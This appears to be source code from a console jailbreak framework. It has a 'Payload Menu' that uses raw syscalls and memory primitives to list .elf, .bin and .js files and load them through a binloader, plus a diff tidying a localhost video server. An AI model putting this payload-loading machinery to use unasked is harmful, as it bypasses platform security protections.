new Style({ name: 'title', color: 'white', size: 32 })
|
||||
|
||||
let currentButton = 0
|
||||
const buttons: Image[] = []
|
||||
const buttonTexts: jsmaf.Text[] = []
|
||||
const buttonMarkers: Image[] = []
|
||||
const buttonOrigPos: { x: number, y: number }[] = []
|
||||
const textOrigPos: { x: number, y: number }[] = []
|
||||
const fileList: string[] = []
|
||||
|
||||
const normalButtonImg = 'file:///assets/img/button_over_9.png'
|
||||
const selectedButtonImg = 'file:///assets/img/button_over_9.png'
|
||||
|
||||
const background = new Image({
|
||||
url: 'file:///../download0/img/multiview_bg_VAF.png',
|
||||
x: 0,
|
||||
y: 0,
|
||||
width: 1920,
|
||||
height: 1080
|
||||
})
|
||||
jsmaf.root.children.push(background)
|
||||
|
||||
const logo = new Image({
|
||||
url: 'file:///../download0/img/logo.png',
|
||||
x: 1620,
|
||||
y: 0,
|
||||
width: 300,
|
||||
height: 169
|
||||
})
|
||||
jsmaf.root.children.push(logo)
|
||||
|
||||
const title = new jsmaf.Text()
|
||||
title.text = 'Payload Menu'
|
||||
title.x = 860
|
||||
title.y = 120
|
||||
jsmaf.root.children.push(title)
|
||||
|
||||
fn.register(0x05, 'open_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
fn.register(0x06, 'close_sys', ['bigint'], 'bigint')
|
||||
fn.register(0x110, 'getdents', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
|
||||
log('Scanning /download0/payloads for files...')
|
||||
const path_addr = mem.malloc(256)
|
||||
for (let i = 0; i < '/download0/payloads'.length; i++) {
|
||||
mem.view(path_addr).setUint8(i, '/download0/payloads'.charCodeAt(i))
|
||||
}
|
||||
mem.view(path_addr).setUint8('/download0/payloads'.length, 0)
|
||||
|
||||
const fd = fn.open_sys(path_addr, new BigInt(0, 0), new BigInt(0, 0))
|
||||
log('open_sys returned: ' + fd.toString())
|
||||
|
||||
if (!fd.eq(new BigInt(0xffffffff, 0xffffffff))) {
|
||||
const buf = mem.malloc(4096)
|
||||
const count = fn.getdents(fd, buf, new BigInt(0, 4096))
|
||||
log('getdents returned: ' + count.toString() + ' bytes')
|
||||
|
||||
if (!count.eq(new BigInt(0xffffffff, 0xffffffff)) && count.lo > 0) {
|
||||
let offset = 0
|
||||
while (offset < count.lo) {
|
||||
const d_reclen = mem.view(buf.add(new BigInt(0, offset + 4))).getUint16(0, true)
|
||||
const d_type = mem.view(buf.add(new BigInt(0, offset + 6))).getUint8(0)
|
||||
const d_namlen = mem.view(buf.add(new BigInt(0, offset + 7))).getUint8(0)
|
||||
|
||||
let name = ''
|
||||
for (let i = 0; i < d_namlen; i++) {
|
||||
name += String.fromCharCode(mem.view(buf.add(new BigInt(0, offset + 8 + i))).getUint8(0))
|
||||
}
|
||||
|
||||
log('Entry: ' + name + ' type=' + d_type + ' namlen=' + d_namlen)
|
||||
|
||||
if (d_type === 8 && name !== '.' && name !== '..') {
|
||||
const lowerName = name.toLowerCase()
|
||||
if (lowerName.endsWith('.elf') || lowerName.endsWith('.bin') || lowerName.endsWith('.js')) {
|
||||
fileList.push(name)
|
||||
log('Added file: ' + name)
|
||||
}
|
||||
}
|
||||
|
||||
offset += d_reclen
|
||||
}
|
||||
}
|
||||
fn.close_sys(fd)
|
||||
} else {
|
||||
log('Failed to open /download0/payloads')
|
||||
}
|
||||
|
||||
log('Total files found: ' + fileList.length)
|
||||
|
||||
const startY = 200
|
||||
const buttonSpacing = 90
|
||||
const buttonsPerRow = 5
|
||||
const buttonWidth = 300
|
||||
const buttonHeight = 80
|
||||
const startX = 130
|
||||
const xSpacing = 340
|
||||
|
||||
for (let i = 0; i < fileList.length; i++) {
|
||||
const row = Math.floor(i / buttonsPerRow)
|
||||
const col = i % buttonsPerRow
|
||||
let displayName = fileList[i]!
|
||||
|
||||
const btnX = startX + col * xSpacing
|
||||
const btnY = startY + row * buttonSpacing
|
||||
|
||||
const button = new Image({
|
||||
url: normalButtonImg,
|
||||
x: btnX,
|
||||
y: btnY,
|
||||
width: buttonWidth,
|
||||
height: buttonHeight
|
||||
})
|
||||
buttons.push(button)
|
||||
jsmaf.root.children.push(button)
|
||||
|
||||
const marker = new Image({
|
||||
url: 'file:///assets/img/ad_pod_marker.png',
|
||||
x: btnX + buttonWidth - 50,
|
||||
y: btnY + 35,
|
||||
width: 12,
|
||||
height: 12,
|
||||
visible: false
|
||||
})
|
||||
buttonMarkers.push(marker)
|
||||
jsmaf.root.children.push(marker)
|
||||
|
||||
if (displayName.length > 20) {
|
||||
displayName = displayName.substring(0, 17) + '...'
|
||||
}
|
||||
|
||||
const text = new jsmaf.Text()
|
||||
text.text = displayName
|
||||
text.x = btnX + 20
|
||||
text.y = btnY + 30
|
||||
text.style = 'white'
|
||||
buttonTexts.push(text)
|
||||
jsmaf.root.children.push(text)
|
||||
|
||||
buttonOrigPos.push({ x: btnX, y: btnY })
|
||||
textOrigPos.push({ x: text.x, y: text.y })
|
||||
}
|
||||
|
||||
const exitX = 810
|
||||
const exitY = 980
|
||||
|
||||
const exitButton = new Image({
|
||||
url: normalButtonImg,
|
||||
x: exitX,
|
||||
y: exitY,
|
||||
width: buttonWidth,
|
||||
height: buttonHeight
|
||||
})
|
||||
buttons.push(exitButton)
|
||||
jsmaf.root.children.push(exitButton)
|
||||
|
||||
const exitMarker = new Image({
|
||||
url: 'file:///assets/img/ad_pod_marker.png',
|
||||
x: exitX + buttonWidth - 50,
|
||||
y: exitY + 35,
|
||||
width: 12,
|
||||
height: 12,
|
||||
visible: false
|
||||
})
|
||||
buttonMarkers.push(exitMarker)
|
||||
jsmaf.root.children.push(exitMarker)
|
||||
|
||||
const exitText = new jsmaf.Text()
|
||||
exitText.text = 'Back'
|
||||
exitText.x = exitX + buttonWidth / 2 - 20
|
||||
exitText.y = exitY + buttonHeight / 2 - 12
|
||||
exitText.style = 'white'
|
||||
buttonTexts.push(exitText)
|
||||
jsmaf.root.children.push(exitText)
|
||||
|
||||
buttonOrigPos.push({ x: exitX, y: exitY })
|
||||
textOrigPos.push({ x: exitText.x, y: exitText.y })
|
||||
|
||||
let zoomInInterval: number | null = null
|
||||
let zoomOutInterval: number | null = null
|
||||
let prevButton = -1
|
||||
|
||||
function easeInOut (t: number) {
|
||||
return (1 - Math.cos(t * Math.PI)) / 2
|
||||
}
|
||||
|
||||
function animateZoomIn (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) {
|
||||
if (zoomInInterval) jsmaf.clearInterval(zoomInInterval)
|
||||
const btnW = buttonWidth
|
||||
const btnH = buttonHeight
|
||||
const startScale = btn.scaleX || 1.0
|
||||
const endScale = 1.1
|
||||
const duration = 175
|
||||
let elapsed = 0
|
||||
const step = 16
|
||||
|
||||
zoomInInterval = jsmaf.setInterval(function () {
|
||||
elapsed += step
|
||||
const t = Math.min(elapsed / duration, 1)
|
||||
const eased = easeInOut(t)
|
||||
const scale = startScale + (endScale - startScale) * eased
|
||||
|
||||
btn.scaleX = scale
|
||||
btn.scaleY = scale
|
||||
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
|
||||
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
|
||||
text.scaleX = scale
|
||||
text.scaleY = scale
|
||||
text.x = textOrigX - (btnW * (scale - 1)) / 2
|
||||
text.y = textOrigY - (btnH * (scale - 1)) / 2
|
||||
|
||||
if (t >= 1) {
|
||||
jsmaf.clearInterval(zoomInInterval ?? -1)
|
||||
zoomInInterval = null
|
||||
}
|
||||
}, step)
|
||||
}
|
||||
|
||||
function animateZoomOut (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) {
|
||||
if (zoomOutInterval) jsmaf.clearInterval(zoomOutInterval)
|
||||
const btnW = buttonWidth
|
||||
const btnH = buttonHeight
|
||||
const startScale = btn.scaleX || 1.1
|
||||
const endScale = 1.0
|
||||
const duration = 175
|
||||
let elapsed = 0
|
||||
const step = 16
|
||||
|
||||
zoomOutInterval = jsmaf.setInterval(function () {
|
||||
elapsed += step
|
||||
const t = Math.min(elapsed / duration, 1)
|
||||
const eased = easeInOut(t)
|
||||
const scale = startScale + (endScale - startScale) * eased
|
||||
|
||||
btn.scaleX = scale
|
||||
btn.scaleY = scale
|
||||
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
|
||||
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
|
||||
text.scaleX = scale
|
||||
text.scaleY = scale
|
||||
text.x = textOrigX - (btnW * (scale - 1)) / 2
|
||||
text.y = textOrigY - (btnH * (scale - 1)) / 2
|
||||
|
||||
if (t >= 1) {
|
||||
jsmaf.clearInterval(zoomOutInterval ?? -1)
|
||||
zoomOutInterval = null
|
||||
}
|
||||
}, step)
|
||||
}
|
||||
|
||||
function updateHighlight () {
|
||||
// Animate out the previous button
|
||||
const prevButtonObj = buttons[prevButton]
|
||||
const buttonMarker = buttonMarkers[prevButton]
|
||||
if (prevButton >= 0 && prevButton !== currentButton && prevButtonObj) {
|
||||
prevButtonObj.url = normalButtonImg
|
||||
prevButtonObj.alpha = 0.7
|
||||
prevButtonObj.borderColor = 'transparent'
|
||||
prevButtonObj.borderWidth = 0
|
||||
if (buttonMarker) buttonMarker.visible = false
|
||||
animateZoomOut(prevButtonObj, buttonTexts[prevButton]!, buttonOrigPos[prevButton]!.x, buttonOrigPos[prevButton]!.y, textOrigPos[prevButton]!.x, textOrigPos[prevButton]!.y)
|
||||
}
|
||||
|
||||
// Set styles for all buttons
|
||||
for (let i = 0; i < buttons.length; i++) {
|
||||
const button = buttons[i]
|
||||
const buttonMarker = buttonMarkers[i]
|
||||
const buttonText = buttonTexts[i]
|
||||
const buttonOrigPos_ = buttonOrigPos[i]
|
||||
const textOrigPos_ = textOrigPos[i]
|
||||
if (button === undefined || buttonText === undefined || buttonOrigPos_ === undefined || textOrigPos_ === undefined) continue
|
||||
if (i === currentButton) {
|
||||
button.url = selectedButtonImg
|
||||
button.alpha = 1.0
|
||||
button.borderColor = 'rgb(100,180,255)'
|
||||
button.borderWidth = 3
|
||||
if (buttonMarker) buttonMarker.visible = true
|
||||
animateZoomIn(button, buttonText, buttonOrigPos_.x, buttonOrigPos_.y, textOrigPos_.x, textOrigPos_.y)
|
||||
} else if (i !== prevButton) {
|
||||
button.url = normalButtonImg
|
||||
button.alpha = 0.7
|
||||
button.borderColor = 'transparent'
|
||||
button.borderWidth = 0
|
||||
button.scaleX = 1.0
|
||||
button.scaleY = 1.0
|
||||
button.x = buttonOrigPos_.x
|
||||
button.y = buttonOrigPos_.y
|
||||
buttonText.scaleX = 1.0
|
||||
buttonText.scaleY = 1.0
|
||||
buttonText.x = textOrigPos_.x
|
||||
buttonText.y = textOrigPos_.y
|
||||
if (buttonMarker) buttonMarker.visible = false
|
||||
}
|
||||
}
|
||||
|
||||
prevButton = currentButton
|
||||
}
|
||||
|
||||
jsmaf.onKeyDown = function (keyCode) {
|
||||
log('Key pressed: ' + keyCode)
|
||||
|
||||
const fileButtonCount = fileList.length
|
||||
const exitButtonIndex = buttons.length - 1
|
||||
|
||||
if (keyCode === 6) {
|
||||
if (currentButton === exitButtonIndex) {
|
||||
return
|
||||
}
|
||||
const nextButton = currentButton + buttonsPerRow
|
||||
if (nextButton >= fileButtonCount) {
|
||||
currentButton = exitButtonIndex
|
||||
} else {
|
||||
currentButton = nextButton
|
||||
}
|
||||
updateHighlight()
|
||||
} else if (keyCode === 4) {
|
||||
if (currentButton === exitButtonIndex) {
|
||||
const lastRow = Math.floor((fileButtonCount - 1) / buttonsPerRow)
|
||||
const firstInLastRow = lastRow * buttonsPerRow
|
||||
let col = 0
|
||||
if (fileButtonCount > 0) {
|
||||
col = Math.min(buttonsPerRow - 1, (fileButtonCount - 1) % buttonsPerRow)
|
||||
}
|
||||
currentButton = Math.min(firstInLastRow + col, fileButtonCount - 1)
|
||||
} else {
|
||||
const nextButton = currentButton - buttonsPerRow
|
||||
if (nextButton >= 0) {
|
||||
currentButton = nextButton
|
||||
}
|
||||
}
|
||||
updateHighlight()
|
||||
} else if (keyCode === 5) {
|
||||
if (currentButton === exitButtonIndex) {
|
||||
return
|
||||
}
|
||||
const row = Math.floor(currentButton / buttonsPerRow)
|
||||
const col = currentButton % buttonsPerRow
|
||||
if (col < buttonsPerRow - 1) {
|
||||
const nextButton = currentButton + 1
|
||||
if (nextButton < fileButtonCount) {
|
||||
currentButton = nextButton
|
||||
}
|
||||
}
|
||||
updateHighlight()
|
||||
} else if (keyCode === 7) {
|
||||
if (currentButton === exitButtonIndex) {
|
||||
currentButton = fileButtonCount - 1
|
||||
} else {
|
||||
const col = currentButton % buttonsPerRow
|
||||
if (col > 0) {
|
||||
currentButton = currentButton - 1
|
||||
}
|
||||
}
|
||||
updateHighlight()
|
||||
} else if (keyCode === 14) {
|
||||
handleButtonPress()
|
||||
} else if (keyCode === 13) {
|
||||
log('Going back to main menu...')
|
||||
try {
|
||||
include('main-menu.js')
|
||||
} catch (e) {
|
||||
const err = e as Error
|
||||
log('ERROR loading main-menu.js: ' + err.message)
|
||||
if (err.stack) log(err.stack)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function handleButtonPress () {
|
||||
if (currentButton === buttons.length - 1) {
|
||||
log('Going back to main menu...')
|
||||
try {
|
||||
include('main-menu.js')
|
||||
} catch (e) {
|
||||
const err = e as Error
|
||||
log('ERROR loading main-menu.js: ' + err.message)
|
||||
if (err.stack) log(err.stack)
|
||||
}
|
||||
} else if (currentButton < fileList.length) {
|
||||
const selectedFile = fileList[currentButton]
|
||||
if (!selectedFile) {
|
||||
log('No file selected!')
|
||||
return
|
||||
}
|
||||
const filePath = '/download0/payloads/' + selectedFile
|
||||
|
||||
log('Selected: ' + selectedFile)
|
||||
|
||||
try {
|
||||
if (selectedFile.toLowerCase().endsWith('.js')) {
|
||||
log('Including JavaScript file: ' + selectedFile)
|
||||
include('payloads/' + selectedFile)
|
||||
} else {
|
||||
log('Loading binloader.js...')
|
||||
include('binloader.js')
|
||||
log('binloader.js loaded successfully')
|
||||
|
||||
log('Initializing binloader...')
|
||||
const { bl_load_from_file } = binloader_init()
|
||||
|
||||
log('Loading payload from: ' + filePath)
|
||||
|
||||
bl_load_from_file(filePath)
|
||||
}
|
||||
} catch (e) {
|
||||
const err = e as Error
|
||||
log('ERROR: ' + err.message)
|
||||
if (err.stack) log(err.stack)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
updateHighlight()
|
||||
|
||||
log('Interactive UI loaded!')
|
||||
log('Total elements: ' + jsmaf.root.children.length)
|
||||
log('Buttons: ' + buttons.length)
|
||||
log('Use arrow keys to navigate, Enter/X to select')
|
||||
})()
|
||||
@@ -1,3 +1,6 @@
|
||||
import { libc_addr } from 'download0/userland'
|
||||
import { fn, BigInt, mem } from 'download0/types'
|
||||
|
||||
(function () {
|
||||
log('=== Local Video Server ===')
|
||||
|
||||
@@ -6,57 +9,57 @@
|
||||
}
|
||||
|
||||
// Register socket syscalls
|
||||
try { fn.register(97, 'socket', 'bigint') } catch (e) {}
|
||||
try { fn.register(98, 'connect', 'bigint') } catch (e) {}
|
||||
try { fn.register(104, 'bind', 'bigint') } catch (e) {}
|
||||
try { fn.register(105, 'setsockopt', 'bigint') } catch (e) {}
|
||||
try { fn.register(106, 'listen', 'bigint') } catch (e) {}
|
||||
try { fn.register(30, 'accept', 'bigint') } catch (e) {}
|
||||
try { fn.register(32, 'getsockname', 'bigint') } catch (e) {}
|
||||
try { fn.register(3, 'read_sys', 'bigint') } catch (e) {}
|
||||
try { fn.register(4, 'write_sys', 'bigint') } catch (e) {}
|
||||
try { fn.register(6, 'close_sys', 'bigint') } catch (e) {}
|
||||
try { fn.register(5, 'open_sys', 'bigint') } catch (e) {}
|
||||
try { fn.register(93, 'select', 'bigint') } catch (e) {}
|
||||
try { fn.register(134, 'shutdown', 'bigint') } catch (e) {}
|
||||
fn.register(97, 'socket', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
fn.register(98, 'connect', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
fn.register(104, 'bind', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
fn.register(105, 'setsockopt', ['bigint', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint')
|
||||
fn.register(106, 'listen', ['bigint', 'bigint'], 'bigint')
|
||||
fn.register(30, 'accept', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
fn.register(32, 'getsockname', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
fn.register(3, 'read_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
fn.register(4, 'write_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
fn.register(6, 'close_sys', ['bigint'], 'bigint')
|
||||
fn.register(5, 'open_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
fn.register(93, 'select', ['bigint', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint')
|
||||
fn.register(134, 'shutdown', ['bigint', 'bigint'], 'bigint')
|
||||
|
||||
var socket_sys = fn.socket
|
||||
var bind_sys = fn.bind
|
||||
var setsockopt_sys = fn.setsockopt
|
||||
var listen_sys = fn.listen
|
||||
var accept_sys = fn.accept
|
||||
var getsockname_sys = fn.getsockname
|
||||
var read_sys = fn.read_sys
|
||||
var write_sys = fn.write_sys
|
||||
var close_sys = fn.close_sys
|
||||
var open_sys = fn.open_sys
|
||||
var select_sys = fn.select
|
||||
var shutdown_sys = fn.shutdown
|
||||
const socket_sys = fn.socket
|
||||
const bind_sys = fn.bind
|
||||
const setsockopt_sys = fn.setsockopt
|
||||
const listen_sys = fn.listen
|
||||
const accept_sys = fn.accept
|
||||
const getsockname_sys = fn.getsockname
|
||||
const read_sys = fn.read_sys
|
||||
const write_sys = fn.write_sys
|
||||
const close_sys = fn.close_sys
|
||||
const open_sys = fn.open_sys
|
||||
const select_sys = fn.select
|
||||
const shutdown_sys = fn.shutdown
|
||||
|
||||
var AF_INET = 2
|
||||
var SOCK_STREAM = 1
|
||||
var SOL_SOCKET = 0xFFFF
|
||||
var SO_REUSEADDR = 0x4
|
||||
var O_RDONLY = 0
|
||||
const AF_INET = 2
|
||||
const SOCK_STREAM = 1
|
||||
const SOL_SOCKET = 0xFFFF
|
||||
const SO_REUSEADDR = 0x4
|
||||
const O_RDONLY = 0
|
||||
|
||||
// ===== VIDEO CONFIGURATION =====
|
||||
var VIDEO_DIR = '/download0/vid'
|
||||
var PLAYLIST_FILE = 'cat-meow.m3u8'
|
||||
var SEGMENT_FILES = ['cat-meow0.ts']
|
||||
const VIDEO_DIR = '/download0/vid'
|
||||
const PLAYLIST_FILE = 'cat-meow.m3u8'
|
||||
const SEGMENT_FILES = ['cat-meow0.ts']
|
||||
// ================================
|
||||
|
||||
// Create server socket
|
||||
log('Creating HTTP server for video files...')
|
||||
var srv = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_STREAM), new BigInt(0, 0))
|
||||
const srv = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_STREAM), new BigInt(0, 0))
|
||||
if (srv.lo < 0) throw new Error('Cannot create socket')
|
||||
|
||||
// Set SO_REUSEADDR
|
||||
var optval = mem.malloc(4)
|
||||
const optval = mem.malloc(4)
|
||||
mem.view(optval).setUint32(0, 1, true)
|
||||
setsockopt_sys(srv, new BigInt(0, SOL_SOCKET), new BigInt(0, SO_REUSEADDR), optval, new BigInt(0, 4))
|
||||
|
||||
// Bind to port 0 (let OS pick)
|
||||
var addr = mem.malloc(16)
|
||||
const addr = mem.malloc(16)
|
||||
mem.view(addr).setUint8(0, 16)
|
||||
mem.view(addr).setUint8(1, AF_INET)
|
||||
mem.view(addr).setUint16(2, 0, false) // port 0 = let OS choose
|
||||
@@ -68,11 +71,11 @@
|
||||
}
|
||||
|
||||
// Get actual port
|
||||
var actual_addr = mem.malloc(16)
|
||||
var actual_len = mem.malloc(4)
|
||||
const actual_addr = mem.malloc(16)
|
||||
const actual_len = mem.malloc(4)
|
||||
mem.view(actual_len).setUint32(0, 16, true)
|
||||
getsockname_sys(srv, actual_addr, actual_len)
|
||||
var port = mem.view(actual_addr).getUint16(2, false)
|
||||
const port = mem.view(actual_addr).getUint16(2, false)
|
||||
|
||||
// Listen
|
||||
if (listen_sys(srv, new BigInt(0, 5)).lo < 0) {
|
||||
@@ -83,14 +86,14 @@
|
||||
log('HTTP server listening on port ' + port)
|
||||
|
||||
// Store video URL separately (video.url property gets cleared by Video object)
|
||||
var videoUrl = 'http://127.0.0.1:' + port + '/' + PLAYLIST_FILE
|
||||
const videoUrl = 'http://127.0.0.1:' + port + '/' + PLAYLIST_FILE
|
||||
log('Video URL: ' + videoUrl)
|
||||
|
||||
// Setup UI
|
||||
jsmaf.root.children.length = 0
|
||||
|
||||
// Dual video approach for seamless looping
|
||||
var video1 = new Video({
|
||||
const video1 = new Video({
|
||||
x: 0,
|
||||
y: 0,
|
||||
width: 1920,
|
||||
@@ -100,7 +103,7 @@
|
||||
})
|
||||
jsmaf.root.children.push(video1)
|
||||
|
||||
var video2 = new Video({
|
||||
const video2 = new Video({
|
||||
x: 0,
|
||||
y: 0,
|
||||
width: 1920,
|
||||
@@ -110,12 +113,12 @@
|
||||
})
|
||||
jsmaf.root.children.push(video2)
|
||||
|
||||
var requestCount = 0
|
||||
var currentVideo = video1
|
||||
var nextVideo = video2
|
||||
var preloadStarted = false
|
||||
let requestCount = 0
|
||||
let currentVideo = video1
|
||||
let nextVideo = video2
|
||||
let preloadStarted = false
|
||||
|
||||
function setupVideoCallbacks (video, isNext) {
|
||||
function setupVideoCallbacks (video: Video, isNext: boolean) {
|
||||
video.onOpen = function () {
|
||||
log('Video ' + (isNext ? 'next' : 'current') + ' opened! Duration: ' + video.duration)
|
||||
}
|
||||
@@ -135,7 +138,7 @@
|
||||
nextVideo.play()
|
||||
|
||||
// Swap references
|
||||
var temp = currentVideo
|
||||
const temp = currentVideo
|
||||
currentVideo = nextVideo
|
||||
nextVideo = temp
|
||||
|
||||
@@ -149,46 +152,46 @@
|
||||
setupVideoCallbacks(video2, true)
|
||||
|
||||
// Send HTTP response
|
||||
function send_response (fd, content_type, body) {
|
||||
var headers = 'HTTP/1.1 200 OK\r\n' +
|
||||
function send_response (fd: number, content_type: string, body: string) {
|
||||
const headers = 'HTTP/1.1 200 OK\r\n' +
|
||||
'Content-Type: ' + content_type + '\r\n' +
|
||||
'Content-Length: ' + body.length + '\r\n' +
|
||||
'Access-Control-Allow-Origin: *\r\n' +
|
||||
'Connection: close\r\n' +
|
||||
'\r\n'
|
||||
|
||||
var resp = headers + body
|
||||
var buf = mem.malloc(resp.length)
|
||||
for (var i = 0; i < resp.length; i++) {
|
||||
const resp = headers + body
|
||||
const buf = mem.malloc(resp.length)
|
||||
for (let i = 0; i < resp.length; i++) {
|
||||
mem.view(buf).setUint8(i, resp.charCodeAt(i))
|
||||
}
|
||||
write_sys(fd, buf, new BigInt(0, resp.length))
|
||||
write_sys(new BigInt(fd), buf, new BigInt(0, resp.length))
|
||||
}
|
||||
|
||||
// Send binary file
|
||||
function send_file (fd, filepath, content_type) {
|
||||
function send_file (fd: number, filepath: string, content_type: string) {
|
||||
// Open file
|
||||
var path_buf = mem.malloc(filepath.length + 1)
|
||||
for (var i = 0; i < filepath.length; i++) {
|
||||
const path_buf = mem.malloc(filepath.length + 1)
|
||||
for (let i = 0; i < filepath.length; i++) {
|
||||
mem.view(path_buf).setUint8(i, filepath.charCodeAt(i))
|
||||
}
|
||||
mem.view(path_buf).setUint8(filepath.length, 0)
|
||||
|
||||
var file_fd = open_sys(path_buf, new BigInt(0, O_RDONLY), new BigInt(0, 0))
|
||||
const file_fd = open_sys(path_buf, new BigInt(0, O_RDONLY), new BigInt(0, 0))
|
||||
if (file_fd.eq(new BigInt(0xffffffff, 0xffffffff))) {
|
||||
log('Cannot open file: ' + filepath)
|
||||
var error = 'HTTP/1.1 404 Not Found\r\nContent-Length: 9\r\n\r\nNot Found'
|
||||
var error_buf = mem.malloc(error.length)
|
||||
for (var i = 0; i < error.length; i++) {
|
||||
const error = 'HTTP/1.1 404 Not Found\r\nContent-Length: 9\r\n\r\nNot Found'
|
||||
const error_buf = mem.malloc(error.length)
|
||||
for (let i = 0; i < error.length; i++) {
|
||||
mem.view(error_buf).setUint8(i, error.charCodeAt(i))
|
||||
}
|
||||
write_sys(fd, error_buf, new BigInt(0, error.length))
|
||||
write_sys(new BigInt(fd), error_buf, new BigInt(0, error.length))
|
||||
return
|
||||
}
|
||||
|
||||
// Read file content
|
||||
var file_buf = mem.malloc(65536)
|
||||
var bytes_read = read_sys(file_fd, file_buf, new BigInt(0, 65536))
|
||||
const file_buf = mem.malloc(65536)
|
||||
const bytes_read = read_sys(file_fd, file_buf, new BigInt(0, 65536))
|
||||
close_sys(file_fd)
|
||||
|
||||
if (bytes_read.lo <= 0) {
|
||||
@@ -197,8 +200,8 @@
|
||||
}
|
||||
|
||||
// Build response string from buffer
|
||||
var body = ''
|
||||
for (var i = 0; i < bytes_read.lo; i++) {
|
||||
let body = ''
|
||||
for (let i = 0; i < bytes_read.lo; i++) {
|
||||
body += String.fromCharCode(mem.view(file_buf).getUint8(i))
|
||||
}
|
||||
|
||||
@@ -207,27 +210,27 @@
|
||||
}
|
||||
|
||||
// Parse request path
|
||||
function get_path (buf, len) {
|
||||
var req = ''
|
||||
for (var i = 0; i < len && i < 1024; i++) {
|
||||
var c = mem.view(buf).getUint8(i)
|
||||
function get_path (buf: BigInt, len: number): string {
|
||||
let req = ''
|
||||
for (let i = 0; i < len && i < 1024; i++) {
|
||||
const c = mem.view(buf).getUint8(i)
|
||||
if (c === 0) break
|
||||
req += String.fromCharCode(c)
|
||||
}
|
||||
|
||||
var lines = req.split('\n')
|
||||
const lines = req.split('\n')
|
||||
if (lines.length > 0) {
|
||||
var parts = lines[0].trim().split(' ')
|
||||
if (parts.length >= 2) return parts[1]
|
||||
const parts = lines[0]!.trim().split(' ')
|
||||
if (parts.length >= 2) return parts[1]!
|
||||
}
|
||||
return '/'
|
||||
}
|
||||
|
||||
var serverRunning = true
|
||||
let serverRunning = true
|
||||
|
||||
// Prepare select() structures (reuse across calls)
|
||||
var readfds = mem.malloc(128) // fd_set (128 bytes for up to 1024 fds)
|
||||
var timeout = mem.malloc(16) // struct timeval
|
||||
const readfds = mem.malloc(128) // fd_set (128 bytes for up to 1024 fds)
|
||||
const timeout = mem.malloc(16) // struct timeval
|
||||
// Set timeout to 0 (poll mode)
|
||||
mem.view(timeout).setUint32(0, 0, true) // tv_sec = 0
|
||||
mem.view(timeout).setUint32(4, 0, true)
|
||||
@@ -239,20 +242,20 @@
|
||||
if (!serverRunning) return
|
||||
|
||||
// Clear fd_set and set our server fd
|
||||
for (var i = 0; i < 128; i++) {
|
||||
for (let i = 0; i < 128; i++) {
|
||||
mem.view(readfds).setUint8(i, 0)
|
||||
}
|
||||
|
||||
// Set the bit for our server socket fd
|
||||
var fd = srv.lo
|
||||
var byte_index = Math.floor(fd / 8)
|
||||
var bit_index = fd % 8
|
||||
var current = mem.view(readfds).getUint8(byte_index)
|
||||
const fd = srv.lo
|
||||
const byte_index = Math.floor(fd / 8)
|
||||
const bit_index = fd % 8
|
||||
const current = mem.view(readfds).getUint8(byte_index)
|
||||
mem.view(readfds).setUint8(byte_index, current | (1 << bit_index))
|
||||
|
||||
// Poll with select() - returns immediately
|
||||
var nfds = fd + 1
|
||||
var select_ret = select_sys(new BigInt(0, nfds), readfds, new BigInt(0, 0), new BigInt(0, 0), timeout)
|
||||
const nfds = fd + 1
|
||||
const select_ret = select_sys(new BigInt(0, nfds), readfds, new BigInt(0, 0), new BigInt(0, 0), timeout)
|
||||
|
||||
// If select returns 0, no connections ready
|
||||
if (select_ret.lo <= 0) {
|
||||
@@ -260,21 +263,21 @@
|
||||
}
|
||||
|
||||
// Connection is ready, now accept() won't block
|
||||
var client_addr = mem.malloc(16)
|
||||
var client_len = mem.malloc(4)
|
||||
const client_addr = mem.malloc(16)
|
||||
const client_len = mem.malloc(4)
|
||||
mem.view(client_len).setUint32(0, 16, true)
|
||||
|
||||
var client_ret = accept_sys(srv, client_addr, client_len)
|
||||
var client = client_ret instanceof BigInt ? client_ret.lo : client_ret
|
||||
const client_ret = accept_sys(srv, client_addr, client_len)
|
||||
const client = client_ret instanceof BigInt ? client_ret.lo : client_ret
|
||||
|
||||
if (client >= 0) {
|
||||
requestCount++
|
||||
var req_buf = mem.malloc(4096)
|
||||
var read_ret = read_sys(client, req_buf, new BigInt(0, 4096))
|
||||
var bytes = read_ret instanceof BigInt ? read_ret.lo : read_ret
|
||||
const req_buf = mem.malloc(4096)
|
||||
const read_ret = read_sys(new BigInt(client), req_buf, new BigInt(0, 4096))
|
||||
const bytes = read_ret instanceof BigInt ? read_ret.lo : read_ret
|
||||
|
||||
if (bytes > 0) {
|
||||
var path = get_path(req_buf, bytes)
|
||||
const path = get_path(req_buf, bytes)
|
||||
log('Request #' + requestCount + ': ' + path)
|
||||
|
||||
// Check if requesting playlist
|
||||
@@ -282,8 +285,8 @@
|
||||
send_file(client, VIDEO_DIR + '/' + PLAYLIST_FILE, 'application/vnd.apple.mpegurl')
|
||||
} else {
|
||||
// Check if requesting any segment file
|
||||
var handled = false
|
||||
for (var i = 0; i < SEGMENT_FILES.length; i++) {
|
||||
let handled = false
|
||||
for (let i = 0; i < SEGMENT_FILES.length; i++) {
|
||||
if (path === '/' + SEGMENT_FILES[i] || path.indexOf('/' + SEGMENT_FILES[i]) >= 0) {
|
||||
send_file(client, VIDEO_DIR + '/' + SEGMENT_FILES[i], 'video/MP2T')
|
||||
handled = true
|
||||
